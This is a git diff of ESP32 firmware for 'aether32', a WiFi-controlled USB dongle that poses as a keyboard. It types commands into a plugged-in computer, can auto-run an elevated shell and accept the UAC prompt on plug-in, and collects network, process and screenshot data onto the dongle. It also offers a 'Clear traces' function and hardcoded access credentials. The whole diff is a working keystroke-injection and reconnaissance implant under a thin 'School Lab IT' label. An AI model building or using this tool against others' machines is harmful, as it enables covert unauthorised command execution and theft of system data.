os.trim(); + host.trim(); + int nl = host.indexOf('\n'); + if (nl > 0) + host = host.substring(0, nl); + host.trim(); + + String json = "{"; + json += "\"scan_phase\":\"" + json_escape(String(s_scan_phase)) + "\","; + json += "\"last_upload\":\"" + json_escape(String(s_last_upload)) + "\","; + json += "\"last_upload_ms\":" + String(s_last_upload_ms) + ","; + json += "\"file_count\":" + String(count_result_files()) + ","; + json += "\"os\":\"" + json_escape(os.length() ? os : "unknown") + "\","; + json += "\"hostname\":\"" + json_escape(host.length() ? host : "unknown") + "\","; + json += "\"uploading\":" + String(s_uploading ? "true" : "false"); + json += "}"; + return json; +} diff --git a/src/components/upload_status.h b/src/components/upload_status.h new file mode 100644 index 0000000..e194493 --- /dev/null +++ b/src/components/upload_status.h @@ -0,0 +1,11 @@ +#ifndef UPLOAD_STATUS_H +#define UPLOAD_STATUS_H + +#include + +void upload_status_set_phase(const char *phase); +void upload_status_set_uploading(bool uploading); +void upload_status_on_upload(const char *filename); +String upload_status_json(); + +#endif diff --git a/src/components/web_content.cpp b/src/components/web_content.cpp new file mode 100644 index 0000000..484f982 --- /dev/null +++ b/src/components/web_content.cpp @@ -0,0 +1,891 @@ +#include "web_content.h" + +// ─── Shared dark-panel CSS used in folder/file sub-pages ───────────────────── +static const char subpageCSS[] = R"CSS( +*{box-sizing:border-box;margin:0;padding:0} +body{background:#090912;color:#e2e8f0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;padding:20px;min-height:100vh} +h1{font-size:1.4rem;font-weight:700;background:linear-gradient(135deg,#a78bfa,#38bdf8);-webkit-background-clip:text;-webkit-text-fill-color:transparent;margin-bottom:16px} +a{color:#7c3aed;text-decoration:none;display:block;padding:7px 0;border-bottom:1px solid rgba(255,255,255,.05);font-size:.92rem} +a:hover{color:#a78bfa} +a.back{margin-bottom:20px;border:none;font-size:.85rem} +pre{background:rgba(0,0,0,.5);border:1px solid rgba(255,255,255,.08);border-radius:10px;padding:14px;font-size:.78rem;overflow-x:auto;max-height:60vh;overflow-y:auto;margin-bottom:16px;color:#94a3b8;font-family:monospace} +button{padding:11px 22px;background:linear-gradient(180deg,#7c3aed,#5b21b6);border:none;border-radius:8px;color:#fff;cursor:pointer;font-size:.88rem;font-weight:600} +button:hover{filter:brightness(1.15)} +.hint{font-size:.72rem;color:#475569;margin-top:8px} +)CSS"; + +// ─── Main SPA page ───────────────────────────────────────────────────────── +const char *rootViewHTML = R"KILLA( + + +aether32 + + + +
+ ⚡ aether32 +
+ Ready + +
+ + + + +
+
+
Saved Command Buttons
+

Loading...

+
+
+ + +
+
+
Create New Button
+
+
+ + +
+
+ +
+ + + +
+
+
+
+
Manage Saved Buttons
+

Loading...

+
+
+ + +
+
+
Launch Apps
+
+ + + + + + + + + +
+
+
+
Window Control
+
+ + + + + + + + + + + + +
+
+
+
Keyboard Shortcuts
+
+ + + + + + + + + + +
+
+
+
Recon
+
+ + + + +
+
+
+
Party Tricks
+
+ + + + + + + +
+
+
+ + +
+
+
Run Command on Target
+
+
+ + +
+
+ + +
+
+
+
+
Type Raw Text
+
+ +
+ + + + +
+
+
+
+ + +
+
+
School Lab IT
+

+ Utilities for lab rounds on student PCs. Collected scan data is stored on this dongle's flash — + download reports from the Collect tab on your phone. + No removable media required. +

+
+ + +
+

Clear traces after a session. Restart if the captive portal or uploads stop responding.

+
+
+ + +
+ +
+
Lab Scan
+

+ Inventory a lab PC: hostname, network, MACs, routes, ports, and screenshot. The machine joins + aether32 WiFi and uploads to this dongle at 192.168.4.1. + Keep the desktop unlocked; allow ~25–40 seconds for uploads. +

+ +

Runs the Windows lab profile. If that fails, retry uses auto-detect (Win / Mac / Linux).

+
+ +
+
+ Live Status + Idle +
+
+
Phase
Idle
+
Last upload
+
Files on device
0
+
Detected OS
unknown
+
Hostname
+
+

Updates every 2s while this tab is open.

+
+ +
+
Quick Lab Fixes (Windows)
+

Common IT fixes — sent as keystrokes on the target. No stored credentials.

+
+ + + + +
+
+ +
+
Advanced Scan (optional)
+
+ + + + + +
+
+ +
+
Download to Phone
+
+ + +
+

Report filename includes hostname when known: labscan_HOSTNAME.txt

+
+ +
+
+ Collected Files + +
+

No results yet. Run Full Profile above.

+ +
+ +
+ + +
+ +
+
+
+
+
AUTO-RUN: OFF
+
Plug in → nothing happens
+
+
+
+ +
+
Configuration
+
+ +
+ +
+
Enable Auto-Run
+
Fires automatically after USB plug-in delay
+
+
+ +
+ +
+
Lab Scan on plug-in
+
After the plug-in delay, run Lab Scan (Windows profile) automatically
+
+
+ +
Delay After Plug-In
+
+
+ + 3.5s +
+

Time to wait after USB enumerates before firing. Increase for machines that are slow to show the desktop (5-7s is safe). Decrease if the target is already logged in and idle.

+
+ +
Shell to Open on Target
+
+ +
+ +
Command to Run After Shell Opens (optional)
+ +

The shell opens first, then this command is typed. Leave blank to just drop a terminal window on the target.

+ + +
+
+ +
+
How It Works
+
+
1. Plug ESP32 into target machine
+
2. Windows enumerates USB HID keyboard (~instant if driver cached)
+
3. Wait the configured delay for desktop to be ready
+
4. ESP32 types keystrokes: Win+R → shell command → UAC accept → optional command
+
LED turns orange on USB connect, red while firing, green when done.
+
+
+ +
+ +
+ + + +)KILLA"; + +// Expose subpageCSS pointer so streamed subpages can reuse it. +const char *getSubpageCSS() { return subpageCSS; } diff --git a/src/components/web_content.h b/src/components/web_content.h new file mode 100644 index 0000000..2eaacd4 --- /dev/null +++ b/src/components/web_content.h @@ -0,0 +1,8 @@ +#ifndef WEB_CONTENT_H +#define WEB_CONTENT_H + +extern const char *rootViewHTML; + +const char *getSubpageCSS(); + +#endif diff --git a/src/components/wifi_server.cpp b/src/components/wifi_server.cpp new file mode 100644 index 0000000..6ea2b0b --- /dev/null +++ b/src/components/wifi_server.cpp @@ -0,0 +1,495 @@ +#include +#include +#include +#include "web_content.h" +#include "exescript.h" +#include "tricks.h" +#include "button_store.h" +#include "config_store.h" +#include "flash_fs.h" +#include "upload_status.h" +#include "collector.h" +#include "wifi_server.h" + +const char *ssid = "aether32"; +const char *password = "aether32-admin"; + +static const char *http_user = "drjones"; +static const char *http_pass = "aether32-admin"; + +WebServer server(80); +bool check_delay = false; + +static const size_t MAX_UPLOAD_BYTES = 250000; + +// ─── Helpers ──────────────────────────────────────────────────────────────── + +static void sendJson(int code, const String &body) +{ + server.send(code, "application/json", body); +} + +static bool requireAuth() +{ + if (server.authenticate(http_user, http_pass)) + return true; + server.requestAuthentication(); + return false; +} + +static bool isSafeResultName(const String &name) +{ + if (name.length() == 0 || name.length() > 64) + return false; + if (name.indexOf('/') >= 0 || name.indexOf('\\') >= 0 || name.indexOf("..") >= 0) + return false; + return true; +} + +static String jsonEscape(const String &s) +{ + String out; + out.reserve(s.length() + 8); + for (size_t i = 0; i < s.length(); i++) + { + char c = s.charAt(i); + if (c == '\\') out += "\\\\"; + else if (c == '"') out += "\\\""; + else if (c == '\n') out += "\\n"; + else if (c == '\r') { /* skip */ } + else out += c; + } + return out; +} + +static bool isAllowedShell(const String &shell) +{ + return shell == "elevated" || shell == "cmd" || shell == "powershell" || shell == "run"; +} + +static bool isNumeric(const String &s) +{ + if (s.length() == 0) return false; + for (size_t i = 0; i < s.length(); i++) + if (!isDigit(s.charAt(i))) return false; + return true; +} + +static String readUploadBody() +{ + if (server.hasArg("plain")) + return server.arg("plain"); + + WiFiClient client = server.client(); + String body; + body.reserve(4096); + unsigned long start = millis(); + while (client.connected() && body.length() < MAX_UPLOAD_BYTES && millis() - start < 8000) + { + while (client.available() && body.length() < MAX_UPLOAD_BYTES) + body += (char)client.read(); + delay(1); + } + return body; +} + +// ─── Root ──────────────────────────────────────────────────────────────────── + +void handleRootRequest() +{ + if (!requireAuth()) return; + server.send(200, "text/html", rootViewHTML); +} + +// ─── Restart / Clear ───────────────────────────────────────────────────────── + +void handleRestartRequest() +{ + if (!requireAuth()) return; + server.send(200, "text/plain", "restarting"); + Keyboard.end(); + delay(500); + ESP.restart(); +} + +void handleClearTraceRequest() +{ + if (!requireAuth()) return; + server.sendHeader("Location", "/", true); + server.send(302, "text/plain", ""); + clear_trace(); +} + +// ─── HID endpoints ─────────────────────────────────────────────────────────── + +void handleRunCommandRequest() +{ + if (!requireAuth()) return; + if (!server.hasArg("cmd")) + { + sendJson(400, "{\"ok\":false,\"err\":\"missing cmd\"}"); + return; + } + String cmd = server.arg("cmd"); + String shell = server.hasArg("shell") ? server.arg("shell") : "run"; + int del = server.hasArg("delay") ? server.arg("delay").toInt() : 15; + if (del < 5 || del > 200) del = 15; + if (!isAllowedShell(shell)) + { + sendJson(400, "{\"ok\":false,\"err\":\"invalid shell\"}"); + return; + } + sendJson(200, "{\"ok\":true}"); + trick_run_shell_command(cmd.c_str(), shell.c_str(), del); +} + +void handleTypeTextRequest() +{ + if (!requireAuth()) return; + if (!server.hasArg("text")) + { + sendJson(400, "{\"ok\":false,\"err\":\"missing text\"}"); + return; + } + String text = server.arg("text"); + int del = server.hasArg("delay") ? server.arg("delay").toInt() : 12; + bool enter = server.hasArg("enter"); + bool notepad = server.hasArg("notepad"); + if (del < 5 || del > 200) del = 12; + sendJson(200, "{\"ok\":true}"); + trick_type_text(text.c_str(), del, enter, notepad); +} + +void handleTrickRequest() +{ + if (!requireAuth()) return; + if (!server.hasArg("id")) + { + sendJson(400, "{\"ok\":false,\"err\":\"missing id\"}"); + return; + } + String id = server.arg("id"); + sendJson(200, "{\"ok\":true}"); + trick_dispatch(id.c_str()); +} + +// ─── Button API ───────────────────────────────────────────────────────────── + +void handleGetButtonsApi() +{ + if (!requireAuth()) return; + sendJson(200, buttons_to_json()); +} + +void handleAddButtonApi() +{ + if (!requireAuth()) return; + String label = server.hasArg("label") ? server.arg("label") : ""; + String shell = server.hasArg("shell") ? server.arg("shell") : "run"; + String cmd = server.hasArg("cmd") ? server.arg("cmd") : ""; + int delay = server.hasArg("delay") ? server.arg("delay").toInt() : 15; + label.trim(); cmd.trim(); + if (label.length() == 0 || cmd.length() == 0) + { + sendJson(400, "{\"ok\":false,\"err\":\"label and cmd required\"}"); + return; + } + if (!isAllowedShell(shell)) + { + sendJson(400, "{\"ok\":false,\"err\":\"invalid shell\"}"); + return; + } + bool ok = buttons_add(label.c_str(), shell.c_str(), delay, cmd.c_str()); + sendJson(ok ? 200 : 500, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"flash write failed\"}"); +} + +void handleDeleteButtonApi() +{ + if (!requireAuth()) return; + if (!server.hasArg("id") || !isNumeric(server.arg("id"))) + { + sendJson(400, "{\"ok\":false,\"err\":\"invalid index\"}"); + return; + } + bool ok = buttons_delete(server.arg("id").toInt()); + sendJson(ok ? 200 : 400, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"invalid index\"}"); +} + +// ─── Upload from target machine (no auth — local AP only) ──────────────────── + +void handleUploadRequest() +{ + String name = server.hasArg("name") ? server.arg("name") : ""; + if (!isSafeResultName(name)) + { + sendJson(400, "{\"ok\":false,\"err\":\"bad name\"}"); + return; + } + + upload_status_set_uploading(true); + String body = readUploadBody(); + if (body.length() == 0) + { + upload_status_set_uploading(false); + sendJson(400, "{\"ok\":false,\"err\":\"empty body\"}"); + return; + } + + bool ok = flash_fs_write_result(name.c_str(), (const uint8_t *)body.c_str(), body.length()); + if (ok) + upload_status_on_upload(name.c_str()); + else + upload_status_set_uploading(false); + sendJson(ok ? 200 : 500, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"write failed\"}"); +} + +// ─── WiFi init ─────────────────────────────────────────────────────────────── + +void setup_WiFi() +{ + WiFi.softAP(ssid, password); + delay(100); + + buttons_load(); + + server.on("/", handleRootRequest); + + server.on("/run", HTTP_POST, handleRunCommandRequest); + server.on("/type", HTTP_POST, handleTypeTextRequest); + server.on("/trick", HTTP_POST, handleTrickRequest); + server.on("/restart", HTTP_POST, handleRestartRequest); + server.on("/clear_trace", HTTP_POST, handleClearTraceRequest); + + server.on("/api/buttons", HTTP_GET, handleGetButtonsApi); + server.on("/api/buttons", HTTP_POST, handleAddButtonApi); + server.on("/api/buttons/delete", HTTP_POST, handleDeleteButtonApi); + + // Target machine uploads here over WiFi (no SD card) + server.on("/api/upload", HTTP_POST, handleUploadRequest); + + server.on("/api/results", HTTP_GET, []() { + if (!requireAuth()) return; + File dir = LittleFS.open(RESULTS_DIR); + if (!dir || !dir.isDirectory()) + { + sendJson(200, "[]"); + return; + } + String json = "["; + bool first = true; + File entry = dir.openNextFile(); + while (entry) + { + if (!entry.isDirectory()) + { + if (!first) json += ","; + first = false; + String name = entry.name(); + if (name.startsWith("/")) + name = name.substring(name.lastIndexOf('/') + 1); + name.replace("\"", "\\\""); + json += "{\"name\":\"" + name + "\",\"size\":" + String(entry.size()) + "}"; + } + entry.close(); + entry = dir.openNextFile(); + } + dir.close(); + json += "]"; + sendJson(200, json); + }); + + server.on("/api/file", HTTP_GET, []() { + if (!requireAuth()) return; + if (!server.hasArg("path")) + { + server.send(400, "text/plain", "missing path"); + return; + } + String path = server.arg("path"); + if (!path.startsWith("/results/")) + { + server.send(403, "text/plain", "forbidden"); + return; + } + String name = path.substring(9); + if (!isSafeResultName(name)) + { + server.send(403, "text/plain", "forbidden"); + return; + } + if (name.endsWith(".png")) + { + server.send(400, "text/plain", "use /api/download for images"); + return; + } + String content = flash_fs_read_result(name.c_str()); + if (content.length() == 0 && !flash_fs_result_exists(name.c_str())) + { + server.send(404, "text/plain", "not found"); + return; + } + server.send(200, "text/plain; charset=utf-8", content); + }); + + server.on("/api/profile", HTTP_GET, []() { + if (!requireAuth()) return; + String os = flash_fs_read_result("os.txt", 64); + String host = flash_fs_read_result("hostname.txt", 256); + os.trim(); + host.trim(); + host.replace("\n", " / "); + String json = "{\"os\":\"" + jsonEscape(os.length() ? os : "unknown") + + "\",\"hostname\":\"" + jsonEscape(host.length() ? host : "unknown") + + "\",\"files\":["; + File dir = LittleFS.open(RESULTS_DIR); + bool first = true; + if (dir && dir.isDirectory()) + { + File entry = dir.openNextFile(); + while (entry) + { + if (!entry.isDirectory()) + { + if (!first) json += ","; + first = false; + String name = entry.name(); + if (name.startsWith("/")) + name = name.substring(name.lastIndexOf('/') + 1); + name.replace("\"", "\\\""); + json += "{\"name\":\"" + name + "\",\"size\":" + String(entry.size()) + "}"; + } + entry.close(); + entry = dir.openNextFile(); + } + dir.close(); + } + json += "]}"; + sendJson(200, json); + }); + + server.on("/api/status", HTTP_GET, []() { + if (!requireAuth()) return; + sendJson(200, upload_status_json()); + }); + + server.on("/api/download", HTTP_GET, []() { + if (!requireAuth()) return; + if (!server.hasArg("path")) + { + server.send(400, "text/plain", "missing path"); + return; + } + String path = server.arg("path"); + if (!path.startsWith("/results/")) + { + server.send(403, "text/plain", "forbidden"); + return; + } + String name = path.substring(9); + if (!isSafeResultName(name)) + { + server.send(403, "text/plain", "forbidden"); + return; + } + String fpath = String(RESULTS_DIR) + "/" + name; + File f = LittleFS.open(fpath, "r"); + if (!f) + { + server.send(404, "text/plain", "not found"); + return; + } + String ctype = "application/octet-stream"; + if (name.endsWith(".txt")) ctype = "text/plain; charset=utf-8"; + else if (name.endsWith(".png")) ctype = "image/png"; + server.sendHeader("Content-Disposition", "attachment; filename=\"" + name + "\""); + server.streamFile(f, ctype); + f.close(); + }); + + server.on("/api/download/bundle", HTTP_GET, []() { + if (!requireAuth()) return; + server.setContentLength(CONTENT_LENGTH_UNKNOWN); + server.sendHeader("Content-Disposition", "attachment; filename=\"machine_profile.txt\""); + server.send(200, "text/plain; charset=utf-8", ""); + + server.sendContent("========================================\r\n"); + server.sendContent(" AETHER32 MACHINE PROFILE\r\n"); + server.sendContent(" (stored on device flash)\r\n"); + server.sendContent("========================================\r\n\r\n"); + + static const char *order[] = { + "os.txt", "hostname.txt", "collected_at.txt", + "network_macs.txt", "network_full.txt", "arp.txt", + "routes.txt", "netstat.txt", "sysinfo.txt", "processes.txt" + }; + + for (size_t i = 0; i < sizeof(order) / sizeof(order[0]); i++) + { + String content = flash_fs_read_result(order[i]); + if (content.length() == 0) continue; + server.sendContent("\r\n--- "); + server.sendContent(order[i]); + server.sendContent(" ---\r\n"); + server.sendContent(content); + } + + server.sendContent("\r\n\r\n[Screenshot: download screen.png separately]\r\n"); + server.client().stop(); + }); + + server.on("/api/config", HTTP_GET, []() { + if (!requireAuth()) return; + char buf[320]; + String safeCmd = g_autorun.cmd; + safeCmd.replace("\\", "\\\\"); + safeCmd.replace("\"", "\\\""); + snprintf(buf, sizeof(buf), + "{\"enabled\":%s,\"lab_scan_on_plug\":%s,\"delay\":%d,\"shell\":\"%s\",\"cmd\":\"%s\"}", + g_autorun.enabled ? "true" : "false", + g_autorun.lab_scan_on_plug ? "true" : "false", + g_autorun.delay_ms, + g_autorun.shell, + safeCmd.c_str()); + sendJson(200, buf); + }); + + server.on("/api/config", HTTP_POST, []() { + if (!requireAuth()) return; + String en = server.hasArg("enabled") ? server.arg("enabled") : "0"; + g_autorun.enabled = (en == "1" || en == "true"); + if (server.hasArg("lab_scan_on_plug")) + { + String ls = server.arg("lab_scan_on_plug"); + g_autorun.lab_scan_on_plug = (ls == "1" || ls == "true"); + } + if (server.hasArg("delay")) + { + int d = server.arg("delay").toInt(); + g_autorun.delay_ms = (d < 500 || d > 15000) ? 3500 : d; + } + if (server.hasArg("shell")) + { + String shell = server.arg("shell"); + if (!isAllowedShell(shell)) + { + sendJson(400, "{\"ok\":false,\"err\":\"invalid shell\"}"); + return; + } + strncpy(g_autorun.shell, shell.c_str(), sizeof(g_autorun.shell) - 1); + g_autorun.shell[sizeof(g_autorun.shell) - 1] = '\0'; + } + if (server.hasArg("cmd")) + { + strncpy(g_autorun.cmd, server.arg("cmd").c_str(), sizeof(g_autorun.cmd) - 1); + g_autorun.cmd[sizeof(g_autorun.cmd) - 1] = '\0'; + } + bool ok = config_save(); + sendJson(ok ? 200 : 500, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"flash write failed\"}"); + }); + + server.onNotFound([]() { + server.send(404, "text/plain", "Not found"); + }); + + server.begin(); +} diff --git a/src/components/wifi_server.h b/src/components/wifi_server.h new file mode 100644 index 0000000..b24a2a8 --- /dev/null +++ b/src/components/wifi_server.h @@ -0,0 +1,10 @@ +#ifndef WIFI_SERVER_H +#define WIFI_SERVER_H + +#include + +extern WebServer server; + +void setup_WiFi(); + +#endif diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..5abdeef --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,88 @@ +#include "components/exescript.h" +#include "components/rgb_control.h" +#include "components/wifi_server.h" +#include "components/config_store.h" +#include "components/collector.h" +#include "components/flash_fs.h" + +extern bool check_delay; + +static volatile bool s_just_connected = false; +static volatile bool s_just_disconnected = false; + +static bool s_connected = false; +static unsigned long s_conn_time = 0; +static bool s_ar_fired = false; +static bool s_lab_scan_fired = false; +static unsigned long s_lab_scan_at = 0; + +static void usb_event_cb(void * /*arg*/, esp_event_base_t /*base*/, + int32_t event_id, void * /*data*/) +{ + if (event_id == ARDUINO_USB_RESUME_EVENT) + s_just_connected = true; + else if (event_id == ARDUINO_USB_SUSPEND_EVENT) + s_just_disconnected = true; +} + +void setup() +{ + flash_fs_init(); + config_load(); + + rgb_init(); + USB.onEvent(usb_event_cb); + setup_usb(); + setup_WiFi(); +} + +void loop() +{ + server.handleClient(); + + if (s_just_connected) + { + s_just_connected = false; + s_connected = true; + s_conn_time = millis(); + s_lab_scan_at = 0; + if (g_autorun.lab_scan_on_plug) + { + unsigned long extra = g_autorun.enabled ? 4000UL : 0UL; + s_lab_scan_at = s_conn_time + (unsigned long)g_autorun.delay_ms + extra; + } + led_blink(255, 64, 0, false); + } + + if (s_just_disconnected) + { + s_just_disconnected = false; + s_connected = false; + s_ar_fired = false; + s_lab_scan_fired = false; + s_lab_scan_at = 0; + } + + if (g_autorun.enabled && s_connected && !s_ar_fired) + { + if (millis() - s_conn_time >= (unsigned long)g_autorun.delay_ms) + { + s_ar_fired = true; + led_blink(255, 0, 0, true); + autorun_execute(); + led_idle(0, 1, 0); + } + } + + if (g_autorun.lab_scan_on_plug && s_connected && !s_lab_scan_fired && s_lab_scan_at > 0) + { + if (millis() >= s_lab_scan_at) + { + s_lab_scan_fired = true; + collect_lab_scan(); + } + } + + if (check_delay) + delay(200); +} diff --git a/test/README b/test/README new file mode 100644 index 0000000..9b1e87b --- /dev/null +++ b/test/README @@ -0,0 +1,11 @@ + +This directory is intended for PlatformIO Test Runner and project tests. + +Unit Testing is a software testing method by which individual units of +source code, sets of one or more MCU program modules together with associated +control data, usage procedures, and operating procedures, are tested to +determine whether they are fit for use. Unit testing finds problems early +in the development cycle. + +More information about PlatformIO Unit Testing: +- https://docs.platformio.org/en/latest/advanced/unit-testing/index.html